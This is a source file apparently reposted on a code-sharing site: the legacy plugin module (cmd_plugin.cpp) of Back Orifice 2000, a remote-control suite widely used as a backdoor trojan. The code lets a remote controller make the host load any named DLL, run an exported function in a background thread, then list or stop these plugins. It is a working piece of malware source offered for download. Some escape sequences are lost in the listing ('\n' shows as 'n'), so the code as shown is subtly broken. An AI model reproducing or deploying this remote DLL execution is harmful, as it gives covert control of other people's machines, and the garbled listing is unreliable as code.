cmd_plugin.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:6k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // Legacy Buttplug Support
  16. #include<windows.h>
  17. #include<auth.h>
  18. #include<iohandler.h>
  19. #include<encryption.h>
  20. #include<commandloop.h>
  21. #include<bocomreg.h>
  22. #include<cmdcmd_plugin.h>
  23. #include<strhandle.h>
  24. #define MAX_BUTTPLUGS 16
  25. // -------------------- Global Variables --------------------------
  26. #pragma pack(push,1)
  27. typedef char * (__stdcall *PBUTTPLUG_FUNC)(int *active, char *args);
  28. typedef struct {
  29. BOOL bActive;
  30. HMODULE hDll;
  31. PBUTTPLUG_FUNC proc;
  32. HANDLE hPluginThread;
  33. char svCmdStr[MAX_PATH+256];
  34. char svArgs[512];
  35. char svRetStr[1024];
  36. } BUTTPLUG_INFO;
  37. #pragma pack(pop)
  38. BUTTPLUG_INFO *g_pButtArray=NULL;
  39. // ---------------------- Implementation ---------------------------
  40. int Cmd_Buttplugs_Init(void)
  41. {
  42. g_pButtArray=(BUTTPLUG_INFO *)malloc(sizeof(BUTTPLUG_INFO)*MAX_BUTTPLUGS);
  43. if(g_pButtArray==NULL) return -1;
  44. memset(g_pButtArray,0,sizeof(BUTTPLUG_INFO)*MAX_BUTTPLUGS);
  45. return 0;
  46. }
  47. int Cmd_Buttplugs_Kill(void)
  48. {
  49. free(g_pButtArray);
  50. g_pButtArray=NULL;
  51. return 0;
  52. }
  53. DWORD WINAPI PluginThread(LPVOID pArgs)
  54. {
  55. BUTTPLUG_INFO *pInfo=(BUTTPLUG_INFO *)pArgs;
  56. char *svRet;
  57. pInfo->bActive=TRUE;
  58. svRet=(pInfo->proc)(&(pInfo->bActive),pInfo->svArgs);
  59. lstrcpyn(pInfo->svRetStr,svRet,1024);
  60. FreeLibrary(pInfo->hDll);
  61. pInfo->bActive=FALSE;
  62. return 0;
  63. }
  64. int CmdProc_PluginExecute(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  65. {
  66. // Find open slot
  67. int s;
  68. for(s=0;s<MAX_BUTTPLUGS;s++) {
  69. if(g_pButtArray[s].bActive==FALSE) break;
  70. }
  71. if(s==MAX_BUTTPLUGS) {
  72. IssueAuthCommandReply(cas_from,comid,0,"Too many modules loaded.n");
  73. return -1;
  74. }
  75. // Fill in structure
  76. lstrcpyn(g_pButtArray[s].svCmdStr,svArg2,MAX_PATH+256);
  77. lstrcpyn(g_pButtArray[s].svArgs,svArg3,512);
  78. g_pButtArray[s].svRetStr[0]='';
  79. HMODULE hDll;
  80. char *svDll,*svFunc;
  81. char svFuncName[256];
  82. svDll=svArg2;
  83. svFunc=BreakString(svDll,"::");
  84. wsprintf(svFuncName,"_%.200s@8",svFunc);
  85. hDll=LoadLibrary(svDll);
  86. if(hDll==NULL) {
  87. IssueAuthCommandReply(cas_from, comid, 0, "Couldn't load module.n");
  88. return -1;
  89. }
  90. FARPROC proc;
  91. proc=GetProcAddress(hDll,svFuncName);
  92. if(proc==NULL) {
  93. IssueAuthCommandReply(cas_from, comid, 0, "Module function could not be found.n");
  94. FreeLibrary(hDll);
  95. return -1;
  96. }
  97. g_pButtArray[s].hDll=hDll;
  98. g_pButtArray[s].proc=(PBUTTPLUG_FUNC)proc;
  99. DWORD dwTid;
  100. g_pButtArray[s].hPluginThread=CreateThread(NULL,0,PluginThread,g_pButtArray+s,0,&dwTid);
  101. if(g_pButtArray[s].hPluginThread==NULL) {
  102. IssueAuthCommandReply(cas_from, comid, 0, "Couldn't create thread.n");
  103. g_pButtArray[s].proc=NULL;
  104. FreeLibrary(hDll);
  105. return -1;
  106. }
  107. Sleep(1000);
  108. if(WaitForSingleObject(g_pButtArray[s].hPluginThread,0)==WAIT_OBJECT_0) {
  109. IssueAuthCommandReply(cas_from, comid, 1, "Plugin function returned quickly:n");
  110. IssueAuthCommandReply(cas_from, comid, 0, g_pButtArray[s].svRetStr);
  111. g_pButtArray[s].proc=NULL;
  112. return 0;
  113. }
  114. IssueAuthCommandReply(cas_from, comid, 0, "Plugin started. Use 'Plugin List' to get return value.n");
  115. return 0;
  116. }
  117. int CmdProc_PluginList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  118. {
  119. IssueAuthCommandReply(cas_from, comid, 1, "Legacy plugins listn-------------------n");
  120. // List plugins
  121. int s;
  122. for(s=0;s<MAX_BUTTPLUGS;s++) {
  123. char svLine[1024];
  124. if(g_pButtArray[s].bActive) {
  125. wsprintf(svLine,"%2d: %s (RUNNING)n",s,g_pButtArray[s].svCmdStr);
  126. IssueAuthCommandReply(cas_from, comid, 1, svLine);
  127. } else {
  128. if(g_pButtArray[s].proc!=NULL) {
  129. wsprintf(svLine,"%2d: %256s Returned: %256sn",s,g_pButtArray[s].svCmdStr, g_pButtArray[s].svRetStr);
  130. IssueAuthCommandReply(cas_from, comid, 1, svLine);
  131. }
  132. }
  133. }
  134. // End of plugins list
  135. IssueAuthCommandReply(cas_from, comid, 0, "End of plugins list.n");
  136. return 0;
  137. }
  138. int CmdProc_PluginKill(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  139. {
  140. if(nArg1<0 || nArg1>=MAX_BUTTPLUGS) {
  141. IssueAuthCommandReply(cas_from, comid, 0, "Plugin # out of range.n");
  142. return -1;
  143. }
  144. if(g_pButtArray[nArg1].bActive==FALSE) {
  145. IssueAuthCommandReply(cas_from, comid, 0, "Plugin in not active.n");
  146. return -1;
  147. }
  148. g_pButtArray[nArg1].bActive=FALSE;
  149. if(WaitForSingleObject(g_pButtArray[nArg1].hPluginThread,5000)!=WAIT_OBJECT_0) {
  150. IssueAuthCommandReply(cas_from, comid, 0, "Plugin would not stop in 5 seconds.n");
  151. return -1;
  152. }
  153. char svLine[1024];
  154. wsprintf(svLine,"%2d: %256s Returned: %256sn",nArg1,g_pButtArray[nArg1].svCmdStr, g_pButtArray[nArg1].svRetStr);
  155. IssueAuthCommandReply(cas_from, comid, 0, svLine);
  156. return 0;
  157. }